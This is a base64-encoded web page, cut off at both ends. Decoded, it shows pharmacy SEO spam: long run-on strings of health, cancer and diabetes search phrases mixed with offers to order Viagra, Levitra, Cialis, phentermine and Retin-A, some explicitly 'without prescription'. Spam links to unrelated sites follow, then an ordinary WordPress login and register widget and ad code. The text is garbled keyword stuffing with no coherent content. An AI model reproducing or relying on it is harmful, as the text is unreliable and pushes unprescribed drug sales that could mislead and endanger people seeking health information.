Gxvc3MgYWZ0ZXIgcXVpdHRpbmcgYWxjb2hvbCBkbyBhbGxlcmdpZXMgY2F1c2UgaGFpciBsb3NzIGNpbm5hbW9uIGFzIGEgdHJlYXRtZW50IGZvciBkaWFiZXRlcyBtaW5veGlkaWwgcHViaWMgaGFpciBmZWxyYSBoZWFsdGggcGxhbiB2aXRhbWluIGQgYW5kIGxpdmVyIG5vdW5zIGxlc3NvbiBwbGFuIGZpcnN0IGdyYWRlIGNhcm9saW5hIGFzdGhtYSBhbmQgYWxsZXJneSBjYXJ5IG5jIG11c2tncm92ZSBjYW5jZXIgZHVvZGVuYWwgZXhjbHVzaW9ucyBkaWFiZXRlcyBtYXlvIGNsaW5pYyB0cmVhdG1lbnQgb2YgcHJvc3RhdGUgY2FuY2VyIGhvdyB0byBidWlsZGluZyBhIG1hcmtldGluZyBwbGFuIGJyZWFzdCBjYW5jZXIgcHJldmVudGlvbiBmdW5kIGNvbXBsYWludHMgc3RhZ2UtNCBtZWxhbm9tYSBjYW5jZXIgdml0YW1pbiBiLTEyIGFuZCBtb3NxdWl0b2VzIHBvb2wgZGVjayBwbGFucyBjcmFja2VyIGNvdHRhZ2UgaG91c2UgcGxhbnMgY2Fwc2FpY2luIGFuZCBhcnRocml0aXMgY2FuIHZpdGFtaW4gc3VwcGxlbWVudHMgaXJyaXRhdGUgdGhlIGJsYWRkZXIgY2Fsb3JpZSBhbmQgY2hvbGVzdGVyb2wgc2FvbW9uIGJhaGFtYSBhbnRpYmlvdGljcyBhbnRpYmlvdGljcyBhY3VwdW5jdHVyZSB0cmVhdG1lbnQgaW4gc2FuIGRpZWdvIERpc2NvdW50IHBoZW50ZXJtaW5lIGFuZCB2aWFncmEgYW50aWJpb3RpY3MgbGlrZWx5IHRvIGNhdXNlIGNvbGl0aXMgZG8gdHdpbmtpZSBjYXVzZSBjYW5jZXIgc29uZ3MgYWJvdXQgZmlnaHRpbmcgY2FuY2VyIGNhbiBpIGRpZSBmcm9tIHNraW4gY2FuY2VyIFZpYWdyYSByaXNrcyBicml0aXNoIG51cnNlIGNhcHM8L3A+CjxwPk9yZGVyIFZpYWdyYSBkb3NhZ2UgdHlwZSAyIGRpYWJldGVzIGFuZCB0ZWVucyB5YW5ndHplIHBlbGljYW4gcGxhbnMgd2VzdGluIGJlZCBleHRlbmRlciBydWJiZXIgY2FwcyBnZXN0YXRpb25hbCBkaWFiZXRlcyBibG9vZCB0ZXN0IHJlc3VsdHMgdGVlbiBza2luIGNhcmUgc3BhcyB3ZCA0MCBhcnRocml0aXMgeW9ndXJ0IGZvciBza2luIGNhcmUgZW5mb3JjaW5nIHlvdXIgY3VzdG9keSBhbmQgdmlzaXRhdGlvbiBwbGFuIGZhbW90aWRpbmUgNDBtZyBmb3IgZmVsaW5lcyBpcmVzc2EgYW5kIHRrMSBwZXJtZXRocmluIHJlYWN0aW9uIGxpdGhpdW0gYmF0dGVyeSByZXZpZXdzIGFlZCBob3cgc2FsdCBlZmZlY3RzIGJsb29kIHByZXNzdXJlIHRlc3RpbmcgZm9yIGRpYWJldGVzIGFuZCBsZWcgcGFpbiB5YW5vdyBjYW5jZXIgbGl0aGl1bSBkaXNjaGFyZ2UgY3VydmUgZnJlZSBwbGFucyBwbGF5IHRhYmxlIGFuZCBjaGFpcnMgbGFuZ2xleSBhZmIgcGFya2luZyBwbGFuIGRvZXMgbGl0aGl1bSBwcm9kdWNlIHNlcm90b25pbiBjbG9taXBoZW5lIG1hbGUgcmVzb2x2ZSBkaWFiZXRlcyB3aXRoIGRpZXQgcXVhbGl0eSBhc3N1cmFuY2UgcGxhbiBmb3IgbXRhIHRhcmdldCBub3J0aHN0YXIgYW1iaWVuIGdlbmVyaWMgc3VkYWZlZCBzaW51cyBhbGxlcmd5IG5vdCBmb3Igc2FsZSBwcm90b24gcmFkaWF0aW9uIGNhbmNlciB0aGVyYXB5IGFtZXJpY2FuIGNhbmNlciBzb2NpZXR5IGhvbWUgb2ZmaWNlIGFkZHJlc3MgYmVzdCB2aXRhbWlucyBmb3IgaGFpciBncm93dGg8L3A+CjxwPk9yZGVyIFZpYWdyYSBpbiBNYWxkaXZlcyBNYWzpIGFxdWFwb25pY3MgcGxhbnMgbGVhcm5pbmcgZm9jdXMgbGVzc29uIHBsYW5zIGFsdGVybmF0aXZlIGZvciB6aWRvdnVkaW5lIGFsbGVyZ3kgY2VudGVyIHR1Y3NvbiBheiBWaWFncmEgcmlza3Mgc3RldmVuIGtlbGxvZ2cgbGVzc29uIHBsYW5zIGEgcGxhbnMgZXllIGFsbGVyZ2llcyBhbmQgZ3lwc3VtIHN0b25lIGxvdyBjaG9sZXN0ZXJvbCBibG9ja2VkIGFydGVyeSB0cmVhdG1lbnQgZm9yIGFkdWx0IGFzdGhtYSBhbnRpYmlvdGljcyBoMW4xIGZsdSBzaG90cyBkaXNuZXkgZm9ydCB3aWxkZXJuZXNzIG1lYWwgcGxhbiBhbGwgaW4gb25lIHZpdGFtaW4gc3VwcGxpbWVudCBwZWFudXQgYWxsZXJneSB0byBmZXR1cyBtZW1vcmlhbCBwbGFuIGZ1bmVyYWwgcGFybG9yIGxvdyBmYXQgZGlldCBjYW5jZXIgYW1lcmljYW4gY2FuY2VyIHNvY2lldHkgaWxsaW5vaXMgdml0YW1pbiBkZWZpY2llbmNpZXMgbGVnIGNyYW1wcyBkaXNhYmlsaXR5IGluY29tZSBpbnN1cmFuY2UgdHlwZSAxIGRpYWJldGVzIGNhbmNlciBjYXVzaW5nIGNhciBhbWxvZGlwaW5lIGFkdmFuY2VkIGd1ZXN0Ym9vayAyLjMuNCB3aGVyZSBpcyB0aGUgYWxsZXJneSBuZXR3b3JrIDIwMTAgdGVhbSB1c2Egb2x5bXBpYyBiZWFubmllIGNhcHMgaWFtIGNhZGlsbGFjIHBsYW4gY29zdCBvZiBjb25ncmVzc2lvbmFsIGhlYWx0aCBwbGFuIG1vdGhlci1pbi1sYXcgaG91c2UgcGxhbnMgdHlwZXMgb2Ygbm9ucXVhbGlmaWVkIGRlZmVycmVkIGNvbXBlbnNhdGlvbiBwbGFuIGxvc3Mgd2VpZ2h0IHRoZSByaWdodCB3YXkgdGFraW5nIGNsaW5kYW15Y2luIGFmdGVyIHNleHVhbCBpbnRlcmNvdXJzZTwvcD4KPHA+UHVyY2hhc2UgVmlhZ3JhIGluIElyZWxhbmQgRHVibGluIHdoYXQgc3RhdGUgc2Nob29scyBwcm92aWRlIGJpcnRoIGNvbnRyb2wgbGl0aGl1bSB3b3J4Z3Qgc3RldGhlc2NvcGUgY2FwcyBkZXNjcmliZSBhIGJhc2ljIHJlc2VhcmNoIHRyZWF0bWVudCBwbGFuIG1vYmlsZSBibGVla2VyIGNhbmNlciB0cmVhdG1lbnQgbG9yaSBncnViYiBnZXR0aW5nIG9mZiBhY2N1dGFuZSBzaW51cyBhbGxlcmd5IGFuZCBwYWluIHJlbGllZiBEaXNjb3VudCBwaGVudGVybWluZSBhbmQgdmlhZ3JhIG1vb24gdG8gbWFycyBmbGlnaHQgcGxhbiBtZWxhbm9tYSBub3NlIGNhbmNlciB0cmVidWNoZXQgcGxhbnMgdGVubmlzIGV4cGVyaW1lbnRhbCBsdW5nIGxpdmVyIGNhbmNlciB0cmVhdG1lbnRzIGJyZWFzdCBjYW5jZXIgYW5kIGFybSBwYWluIHN0YWdlIDQgY2FuY2VyIGxvbmdldml0eSBidXNpbmVzcyBwbGFuIGV4aXQgc3RyYXRhZ3kgZWxpbWluYXRlIGNyZWFtZSBnZW5lcmljIGJyYW5kIHByaWNlIGR1Y3R3b3JrIHBsYW4gZm9yIGR4IHVuaXQgZnJlZSBkb3dubG9hZCBtYXJyaWVkIHdpdGggaG9ybW9uZXMgMiBoZW5yeSBodWRzb24gbGVzc29uIHBsYW5zIGNhbmNlciBnZW1pbmkgY29tcGF0aWJsaWxpdHkgYXJ0IGZ1bmRhbWVudGFscyBsZXNzb24gcGxhbnMgdml0YW1pbnMgdG8gaGVscCBzZXggc2hvd2luZyBub3QgdGVsbCBsZXNzb24gcGxhbnMgZmlyc3QgZGVmaW5pdGlvbiBvZiBsaWZlIGNhcmUgcGxhbiBvcmRlciByZXRpbiBhIG9ubGluZSB3aXRob3V0IHByZXNjcmlwdGlvbiBwYWxpc2FuZGVyIGFsbGVyZ3kgZmluaXNoIHBsYW4gZ3IgaXMgY29yZW1lZCBwbGFuIGVsaXRlIGZpYmVyIG9wdGljIGhhdHMgY2FwcyBtYXJpbmUgY29va2llcyBudXQgYWxsZXJneSBiaXJ0aCBjb250cm9sIHBpbGxzIGFuZCB0aGUgYnJhaW48L3A+CjxwPlB1cmNoYXNlIFZpYWdyYSBpbiBQdWVydG8gUmljbyBTYW4gSnVhbiBmZXJ0aWxpdHkgYW5kIHZpdGFtaW4gZSBkZWZlcnJlZCBjb21wZW5zYXRpb24gcGxhbiB0cmFuc2ZlcnMgcmVsaWVmIGZvciBidXJuaW5nIG1vdXRoIHBhaW4gZXN0cmlvbCB2aXRhbWluIGEgdG9waWNhbCBjcmVhbSBoaWdoIGJsb29kIHByZXNzdXJlIGNpbm5hbW9uIGRpYWJldGVzIHJ1bm5lcnMgdml0YW1pbnMgdG8gc3BlZWQgbWV0YWJvbGlzbSBhYyBtb3RvciBwbGFucyBndWlkZWQgcmVhZGluZyBsZXNzb24gcGxhbnMgZmlyc3QgZ3JhZGUgaW50ZXJuYWwgY2FuY2VycyBvbmUgYSBkYXkgY2hvbGVzdGVyb2wgdml0YW1pbnMgc2FtcGxlIGZhbGwgcHJvdGVjdGlvbiBwbGFuIGFydGljbGUgb24gcHJvc3RhdGUgY2FuY2VyIGhvbWUgcmVtZWR5IG11c2NsZSByZWxheGFudCBqb2hubnkgY29jaHJhbiBicmFpbiBjYW5jZXIgd2h5IHBsYW4gb2YgYSBtZWRpZXZhbCBjYXN0bGUgYmVnaW5uaW5nIGhhbmR3cml0aW5nIGFuZCBsZXNzb24gcGxhbnMgZWJpeGEgbWVtYW50aW5lIHN5bXB0b21zIG9mIGhvcm1vbmVzIG91dCBvZiB3YWNrIGZyZWUgYnJpY2sgYmFyYmVxdWUgcGl0IHBsYW5zIGRhc2ggZGlldCBmb29kIHBsYW4ga29yZWFucyBvbiBiaXJ0aCBjb250cm9sIG5pdHJpYyBveGlkZSBhc3RobWEgaW50ZXJuYWwgcGFpbiByZWxpZWYgbWFjaGluZSByZWxpZWYgZnJvbSBsYWN0aWMgYWNpZCBwYWluIGRpYWJldGVzIGFuZCBvYmVzaXR5IGluIGNhdWNhc2lhbnM8L3A+CjxwPlNob3AgVmlhZ3JhIGluIEphcGFuIFRva3lvIGNyYXZlIHN1Z2FyIGRpYWJldGVzIHJvb2ZpbmcgZWRnZSBjYXBzIG1pbGsgcHJvdGVpbiBhbGxlcmd5IGluIGFkdWx0IHF1aW5pbmUgYW5kIGJyZXN0IGNhbmNlciBwbGFucyBmb3IgZmlyZSB0cnVjayBwbGF5IHlhcmQgYXBuZWEgZGl2b3JjZSBsaXRoaXVtIHBpY25pYyBhY3NjIHBlbnNpb24gcGxhbiBkZWx0YSBhc3NldCBtYW5hZ2VtZW50IGJ1cmxpbmd0b24gbWEgY2hpbGQgd2l0aCBjYW5jZXIgd2Fsa2luZyBkaWFiZXRlcyB0ZW5kaW5pdGlzIG5hcHJveGVuIGhvdyBpdCB3b3JrcyBicmFuY2hlcyBvZiBnb3Zlcm5tZW50IGxlc3NvbiBwbGFucyB6ZXJ0ZWMgZ2VuZXJpYyB2aXRhbWlucyB3aXRob3V0IG1pY3JvIGNyeXN0YWxsaW5lIGNlbGx1bG9zZSBzdG9yYWdlIHNoZWQgcGxhbiB3ZWlnaHQgbG9zcyBwcm9ncmFtcyBpbiByb3NldmlsbGUgY2EgY2FuIHZpdGFtaW4gZCBoZWxwIHdhbGtpbmcgZXhhbXBsZSByZXRhaWwgbWVyY2hhbmRpc2UgYnV5aW5nIHBsYW4gY2hlbWljYWwgcHJvcGVydGllcyBsZXNzb24gcGxhbiA4dGggZ3JhZGUgbGVzc29uIHBsYW4gbW9uZXkga2luZGVyZ2FydGVuIGF2YW1hciBmb3IgY2FuY2VyIHZpcmdpbmlhIHdlaWdodCBsb3NzIGh5cG5vdGhlcmFweSBiaW90aGVyYSBoYWlyIGxvc3MgdHJlYXRtZW50IHJldmlldyByZXBvcnQgVmlhZ3JhIHByZXNjcmlwdGlvbiBwcmljZXMgLSBGREEgQXBwcm92ZWQgUGhhcm1hY3kgamF2YSBjYXBzIGZyZWUgbW9uaXRvcmluZyB0b29sIFZpYWdyYSBwb3AgZ3J1cGUgYmljeWNsZSB5b3VyIHdheSB0byB3ZWlnaHQgbG9zcyB0aGUgZ2FtZSBwbGFuIDQzNDUwPC9wPgo8YSBocmVmPSJodHRwczovL2ZpbmRteXJlY2lwZXMuY29tLyVlMiU5OCU4NSVlMiU5OCU4NS1mYXR0b3VzaC1zYWxhZC1yZWNpcGUtJWQ5JTgxJWQ4JWFhJWQ5JTg4JWQ4JWI0LSVlMiU5OCU4NSVlMiU5OCU4NS8iPkJ1eSBCcmFuZCBMZXZpdHJhIGluIFNvbG9tb24gSXNsYW5kcyBIb25pYXJhPC9hPiA8YSBocmVmPSJodHRwOi8vbG9hZGF2ZXJhZ2V6ZXJvLmNvbS8/cz0lM0MlRUIlQjAlOTQlRUMlQjklQjQlRUIlOUQlQkMlRUMlODIlQUMlRUMlOUQlQjQlRUQlOEElQjglM0UlRTIlOEElOTktJUVDJTk4JTg4JUVDJThBJUE0JUVDJUI5JUI0JUVDJUE3JTgwJUVCJTg1JUI4LSVFMiU5NiVCQSVFQyVCOSVCNCVFQyVBNyU4MCVFQiU4NSVCOCslRUIlQjAlOTQlRUMlQjklQjQlRUIlOUQlQkMlRTMlODMlODYlRTIlODAlQjklRTIlODAlQkElRTIlOTklOTclRTMlODAlOENvcG02NS54eXolRTMlODAlOEQlRTIlOTclQTYlNUIlNUQyMDE5LTAyLTI4LTE4LTE0JUNFJUJFJTVCJTVEYk8lNUIlNURTQlYlRUIlQjAlOTQlIj5QdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBVemJla2lzdGFuIFRhc2hrZW50PC9hPiA8YSBocmVmPSJodHRwczovL2JydWNld2lsbGlhbXNwaG90b2dyYXBoeS5jb20vdGFnL211c2ljLyI+U2hvcCBWaWFncmEgUGx1cyBpbiBVemJla2lzdGFuIFRhc2hrZW50PC9hPiA8YSBocmVmPSJodHRwOi8vd3d3LmtvemFpbHlncm91cC5jb20vMjkwL3Ryd2VuLzI2Mjlfa2ZubXV6eWpiaWRhLyI+UmluZ3MgdGhhdCBob2xkIHZpYWdyYTwvYT4gPGEgaHJlZj0iaHR0cDovL3RlY2hub3N5c3RlbXMtbGIuY29tL2MyMDE4NzIxMC12amx1d3ppbS1neGhyYmZ6LW5nYnlycnNiLWdoYXR2enAvZHlmbWtycW4taXFocGwtbWR5bXd2em8tcDU2Ny1vdmZsdm1pLWZ4c29vZy14ZnBoenUvIj5CdXkgQ2lhbGlzIFN1cGVyIEFjdGl2ZSBpbiBMZWJhbm9uIEJlaXJ1dDwvYT4gPGEgaHJlZj0iaHR0cHM6Ly93d3cucG1jc2NvbnN1bHRpbmcuY29tL3dvcmstZm9yLXBtY3MvIj5TYWxlIFZpYWdyYSBTdXBlciBBY3RpdmUgY2hlYXA8L2E+IDxhIGhyZWY9Imh0dHA6Ly93d3cuZHJ1aGVwa2lucy5jb20vP3M9JUVEJThGJTg5JUVEJTgzJTlEJUVDJUI2JTlDJUVDJTlFJUE1JUVDJTk1JTg4JUVCJUE3JTg4JUVDJTk1JUJDJUVEJTk1JTlDJUVBJUIzJUIzJUUzJTgwJTkwJUVDJUI5JUI0JUVEJTg2JUExJTNBK01vNDYlRTMlODAlOTElRTMlODAlOEFtK29vMjcuYyVFRiVCQyU5ME0lRTMlODAlOEIlRUMlQkQlOUMlRUElQjElQjglRUMlQjYlOTQlRUMlQjIlOUMlRUMlQjYlOUMlRUMlOUUlQTUlRUMlODMlQjUlRUElQjAlOTUlRUMlQjYlOTRZJUUyJTk5JUE2JUUyJTgwJUEyMjAxOS0wMi0yNi0wMC0yMyVFRCU4RiU4OSVFRCU4MyU5RCVFMiU4NiVCN0FJSiVFMiU5Ij5BbnRpc29jaWFsaXN0PC9hPiA8YSBocmVmPSJodHRwczovL3d3dy5oZWFsdGgtaGVhbGluZy1oYXBwaW5lc3MuY29tL2dhbGxlcnkvcmVhbC13YXRlci0yMDE3LyI+Q2lhbGlzIGtvcGVuPC9hPiA8YSBocmVmPSJodHRwczovL3d3dy5zdHJvbGxlcmJvYXJkcy5jb20vcHJvZHVjdC1yZXZpZXdzL0IwMThFNkpGTUsvcmVmPXBkX3Nic183NV9jcl8xLzEzOS01MzY5NjgwLTc5MTIwMDI/aWU9VVRGOCZwZF9yZF9pPUIwMThFNkpGTUsmcGRfcmRfcj03NWFiNjE4My00NGViLTExZTktOTI2YS02OWMzNjdhYzk2MGYmcGRfcmRfdz14Y0czSSZwZF9yZF93Zz1MOEIwSyZwZl9yZF9wPTU4ODkzOWRlLWQzZjgtNDJmMS1hM2Q4LWQ1NTZlYWU1Nzk3ZCZwZl9yZF9yPTBYS0VTN0VSUkhINlpINFlTRldIJnJlZlJJRD0wWEtFUzdFUlJISDZaSDRZU0ZXSCI+T3JkZXIgQ2lhbGlzIEJsYWNrIGluIFNhaW50IEJhcnRo6WxlbXkgR3VzdGF2aWE8L2E+IDxhIGhyZWY9Imh0dHBzOi8vYWR2YW5jaW5nd29tZW4uY29tL2pvYi9zb2Z0d2FyZS1zZW5pb3ItcHJpbmNpcGFsLWVuZ2luZWVyLzQ3NDk5Mjg2LyI+VmlhZ3JhIHBpbGwgc3BsaXRpbmc8L2E+IA0KCQk8L2Rpdj4KPC9hcnRpY2xlPgoKCgkJCTwvZGl2PgoKCQk8L2Rpdj4KCgoJCQkJPGRpdiBpZD0ic2Vjb25kYXJ5IiBjbGFzcz0id2lkZ2V0LWFyZWEiIHJvbGU9ImNvbXBsZW1lbnRhcnkiPgo8YXNpZGUgaWQ9ImFpdC1kaXJlY3Rvcnktd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2RpcmVjdG9yeSI+CQkJPGRpdiBjbGFzcz0ibm90LWxvZ2dlZCI+DQoJCQk8ZGl2IGlkPSJhaXQtbG9naW4tdGFicyI+DQoJCQkJPHVsPg0KCQkJCQk8bGk+PGEgY2xhc3M9ImxvZ2luIiBocmVmPSIjYWl0LWRpci1sb2dpbi10YWIiPkxvZ2luPC9hPjwvbGk+DQoJCQkJCTxsaSBjbGFzcz0iYWN0aXZlIj48YSBjbGFzcz0icmVnaXN0ZXIiIGhyZWY9IiNhaXQtZGlyLXJlZ2lzdGVyLXRhYiI+UmVnaXN0ZXI8L2E+PC9saT4NCgkJCQk8L3VsPg0KDQoJCQkJDQoJCQkJPGRpdiBpZD0iYWl0LWRpci1sb2dpbi10YWIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQoJCQkJPHA+PC9wPg0KCQkJCQoJCTxmb3JtIG5hbWU9ImFpdC1sb2dpbi1mb3JtLXdpZGdldCIgaWQ9ImFpdC1sb2dpbi1mb3JtLXdpZGdldCIgYWN0aW9uPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWxvZ2luLnBocCIgbWV0aG9kPSJwb3N0Ij4KCQkJCgkJCTxwIGNsYXNzPSJsb2dpbi11c2VybmFtZSI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX2xvZ2luIj5Vc2VybmFtZSBvciBFbWFpbCBBZGRyZXNzPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2ciIGlkPSJ1c2VyX2xvZ2luIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCTxwIGNsYXNzPSJsb2dpbi1wYXNzd29yZCI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX3Bhc3MiPlBhc3N3b3JkPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdkIiBpZD0idXNlcl9wYXNzIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCQoJCQk8cCBjbGFzcz0ibG9naW4tcmVtZW1iZXIiPjxsYWJlbD48aW5wdXQgbmFtZT0icmVtZW1iZXJtZSIgdHlwZT0iY2hlY2tib3giIGlkPSJyZW1lbWJlcm1lIiB2YWx1ZT0iZm9yZXZlciIgLz4gUmVtZW1iZXIgTWU8L2xhYmVsPjwvcD4KCQkJPHAgY2xhc3M9ImxvZ2luLXN1Ym1pdCI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ3cC1zdWJtaXQiIGlkPSJ3cC1zdWJtaXQiIGNsYXNzPSJidXR0b24gYnV0dG9uLXByaW1hcnkiIHZhbHVlPSJMb2cgSW4iIC8+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vIiAvPgoJCQk8L3A+CgkJCQoJCTwvZm9ybT4JCQkJPC9kaXY+DQoNCgkJCQkNCgkJCQk8ZGl2IGlkPSJhaXQtZGlyLXJlZ2lzdGVyLXRhYiI+DQoJCQkJPHA+PC9wPg0KCQkJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLz9kaXItcmVnaXN0ZXI9cmVnaXN0ZXIiIGNsYXNzPSJ3cC11c2VyLWZvcm0iPg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci11c2VybmFtZSI+DQoJCQkJCQk8bGFiZWwgZm9yPSJ1c2VyX2xvZ2luIj5Vc2VybmFtZSA8L2xhYmVsPg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfbG9naW4iIHZhbHVlPSIiIHNpemU9IjIwIiBpZD0idXNlcl9sb2dpbl9yZWdpc3Rlcl93aWRnZXQiIHRhYmluZGV4PSIxMDEiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci1lbWFpbCI+DQoJCQkJCQk8bGFiZWwgZm9yPSJ1c2VyX2VtYWlsIj5FbWFpbCA8L2xhYmVsPg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfZW1haWwiIHZhbHVlPSIiIHNpemU9IjI1IiBpZD0idXNlcl9lbWFpbF9yZWdpc3Rlcl93aWRnZXQiIHRhYmluZGV4PSIxMDIiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci1yb2xlIj4NCgkJCQkJCTxsYWJlbCBmb3I9ImRpcmVjdG9yeS1yb2xlIj5QYWNrYWdlIDwvbGFiZWw+DQoJCQkJCQk8c2VsZWN0IG5hbWU9ImRpcmVjdG9yeS1yb2xlIj4NCgkJCQkJCTxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8xIiBjbGFzcz0iZnJlZSI+U3VibWl0IEEgTmV3IExpc3RpbmcgKEZyZWUpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5XzIiPkRpcmVjdG9yeSBQcmVtaXVtICgxMCBVU0QpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5XzMiPkNsYWltIFlvdXIgTGlzdGluZyAtIDQ3IFVTRCBwZXIgeWVhciAoNDcgVVNEKTwvb3B0aW9uPgkJCQkJCTwvc2VsZWN0Pg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0ibG9naW4tZmllbGRzIj4NCgkJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVzZXItc3VibWl0IiB2YWx1ZT0iU2lnbiB1cCEiIGNsYXNzPSJ1c2VyLXN1Ym1pdCIgdGFiaW5kZXg9IjEwMyIgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlZGlyZWN0X3RvIiB2YWx1ZT0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbSIgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXItY29va2llIiB2YWx1ZT0iMSIgLz4NCgkJCQkJPC9kaXY+DQoJCQkJPC9mb3JtPg0KCQkJCTwvZGl2Pg0KDQoJCQkJPHNjcmlwdD4NCgkJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsNCgkJCQkJdmFyIHRhYlJlZ2lzdGVyID0gJCgnI2FpdC1kaXItcmVnaXN0ZXItdGFiJyksDQoJCQkJCQl0YWJMb2dpbiA9ICAkKCcjYWl0LWRpci1sb2dpbi10YWInKSwNCgkJCQkJCWxpbmtMb2dpbiA9ICQoJyNhaXQtbG9naW4tdGFicyAubG9naW4nKSwNCgkJCQkJCWxpbmtSZWdpc3RlciA9ICQoJyNhaXQtbG9naW4tdGFicyAucmVnaXN0ZXInKTsNCgkJCQkJbGlua0xvZ2luLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuaGlkZSgpOw0KCQkJCQkJbGlua0xvZ2luLnBhcmVudCgpLmFkZENsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYkxvZ2luLnNob3coKTsNCgkJCQkJCWV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQoJCQkJCX0pOw0KCQkJCQlsaW5rUmVnaXN0ZXIuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCWxpbmtMb2dpbi5wYXJlbnQoKS5yZW1vdmVDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJMb2dpbi5oaWRlKCk7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkuYWRkQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuc2hvdygpOw0KCQkJCQkJZXZlbnQucHJldmVudERlZmF1bHQoKTsNCgkJCQkJfSk7DQoJCQkJCS8vIGluaXQgYW5kIGNoYW5nZQ0KCQkJCQl2YXIgc2VsZWN0ID0gdGFiUmVnaXN0ZXIuZmluZCgnc2VsZWN0W25hbWU9ZGlyZWN0b3J5LXJvbGVdJyksDQoJCQkJCQlidXR0b25TdWJtaXQgPSB0YWJSZWdpc3Rlci5maW5kKCdpbnB1dFtuYW1lPXVzZXItc3VibWl0XScpLA0KCQkJCQkJZnJlZVRpdGxlID0gJ1NpZ24gdXAnLA0KCQkJCQkJYnV5VGl0bGUgPSAnQnV5IHdpdGggUGF5UGFsJzsNCgkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChmcmVlVGl0bGUpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCX0NCgkJCQkJc2VsZWN0LmNoYW5nZShmdW5jdGlvbihldmVudCkgew0KCQkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoZnJlZVRpdGxlKTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCQl9DQoJCQkJCX0pOw0KCQkJCX0pOw0KCQkJCTwvc2NyaXB0Pg0KDQoJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KCQkJPC9hc2lkZT48YXNpZGUgaWQ9ImN1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2N1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0Ij5ObyBwb3N0cyBmb3VuZDwvYXNpZGU+PGFzaWRlIGlkPSJ0ZXh0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X3RleHQiPgkJCTxkaXYgY2xhc3M9InRleHR3aWRnZXQiPjxzY3JpcHQgYXN5bmMgc3JjPSIvL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9qcy9hZHNieWdvb2dsZS5qcyI+PC9zY3JpcHQ+DQoNCjxpbnMgY2xhc3M9ImFkc2J5Z29vZ2xlIg0KICAgICBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MzAwcHg7aGVpZ2h0OjI1MHB4Ig0KICAgICBkYXRhLWFkLWNsaWVudD0iY2EtcHViLTE4MjAxNzE5NTQ4NTQ0ODIiDQogICAgIGRhdGEtYWQtc2xvdD0iNzEzOTcwMTA0OSI+PC9pbnM+DQo8c2NyaXB0Pg0KKGFkc2J5Z29vZ2xlID0gd2luZG93LmFkc2J5Z29vZ2xlIHx8IFtdKS5wdXNoKHt9KTsNCjwvc2NyaXB0PjwvZGl2PgoJCTwvYXNpZGU+PGFzaWRlIGlkPSJwb